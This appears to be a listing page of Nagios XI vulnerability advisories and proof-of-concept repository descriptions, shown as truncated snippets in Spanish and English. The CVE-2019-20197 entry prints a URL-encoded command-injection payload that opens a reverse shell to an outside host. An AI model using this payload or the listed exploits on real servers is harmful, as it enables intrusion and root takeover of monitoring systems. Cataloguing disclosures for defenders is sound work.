CVE-2024-33775

CVE descubierto por: K. Wahab NeoX Detalles de la vulnerabilidad: Producto: Nagios XI Versión 2024R1.01 Vulnerabilidad: Escalada de privilegios desde los usuarios "NAGIOS" o "APACHE" Resultado: Acceso root completo en el sistema objetivo CVE: https://vulners.com/cve/CVE-2024-33775 Exploit: En est...

CVE-2024-24401

Informe de Vulnerabilidad CVE descubierto por: Jarod Jaslow MAWK DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de...

CVE-2023-47400

CVE-2023-47400 Proof of Concept for the CVE-2023-47400 Authenticated PHP Remote Code Execution via Arbitrary file write on Nagios XI 5.11.0 !Note This poc is based on the technical advisory published by NCC group...

CVE-2024-24402

Informe de Vulnerabilidad CVE descubierto por: Jarod Jaslow MAWK Detalles de la Vulnerabilidad: Endpoint: Nagios XI Versión 2024R1.01 Tipo de Vulnerabilidad: Escalada de Privilegios desde el Usuario "NAGIOS" Resultado de la Explotación: Acceso root completo en el sistema objetivo Pasos para...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Errores reportados a Nagios XI CVE-2021-25296 Ubicación del código /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Fragmento de código root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploi...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2023-24034

An issue was discovered in twilioajaxhandler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability...

CVE-2023-24035

An issue was discovered in Nagios XI before 5.9.3. The isinsecureloginauthenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison...

CVE-2023-24035

CVE-2023-24035 affects Nagios XI before 5.9.3 . The vulnerable component is the "Insecure Backend Ticket" Authentication mechanism, specifically the is_insecure_login_authenticated function, which uses a timing-unsafe comparison of the admin password. An attacker can exploit this by measuring tim...

CVE-2023-24034

Nagios XI before 5.9.3 contains an open redirect vulnerability in twilio_ajax_handler.php , allowing an unauthenticated attacker to force a user to visit a malicious site. The CVSS v3.1 base score is 3.1 (Low) , reflecting the need for user interaction and high attack complexity. The fix is avail...

CVE-2023-24034

An issue was discovered in twilioajaxhandler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability...

EUVD-2023-60634

An issue was discovered in twilioajaxhandler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability...

EUVD-2023-60635

An issue was discovered in Nagios XI before 5.9.3. The isinsecureloginauthenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc a python PoC for the CVE-2019-15949 Overview A vulnerability exists in Nagios XI = 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root. The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with...

CVE-2023-48084

CVE-2023-48084 Exploit en Python para CVE-2023-48084 - Se descubrió que Nagios XI anterior a la versión 5.11.3 contenía una vulnerabilidad de inyección SQL a través de la herramienta de modificación masiva. El exploit utiliza /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=...

CVE-2024-24401

Vulnerability Report CVE Disovered DESIGNED TO BE RUN ON KALI LINUX Notes Nagios has patched version 2024R1.0.1 in all recent downloads. To determine if a target is vulnerable, ensure they are using an older download of 2024R1.0.1. The updated script checks to make sure that the target system is...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Authenticated Command Injection in Configuration Wizard Simple proof of concept repository for CVE-2025-34227, an authenticated command injection in Nagios XI - Configuration Wizard Full writeup here: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/...

CVE-2025-61299_POC

CVE-2025-61299POC Inyección de Comandos Autenticada en Nagios XI 2024R1 CVE-2025-61299...

CVE-2023-48084-Revised

CVE-2023-48084 — PoC actualizado Repositorio: MettHK/CVE-2023-48084-Revised Versión actualizada de Hamibubu/CVE-2023-48084 con multihilo, extracción mediante búsqueda binaria y opciones de línea de comandos para seleccionar base de datos / tabla / columna. No es el repositorio original. Este es u...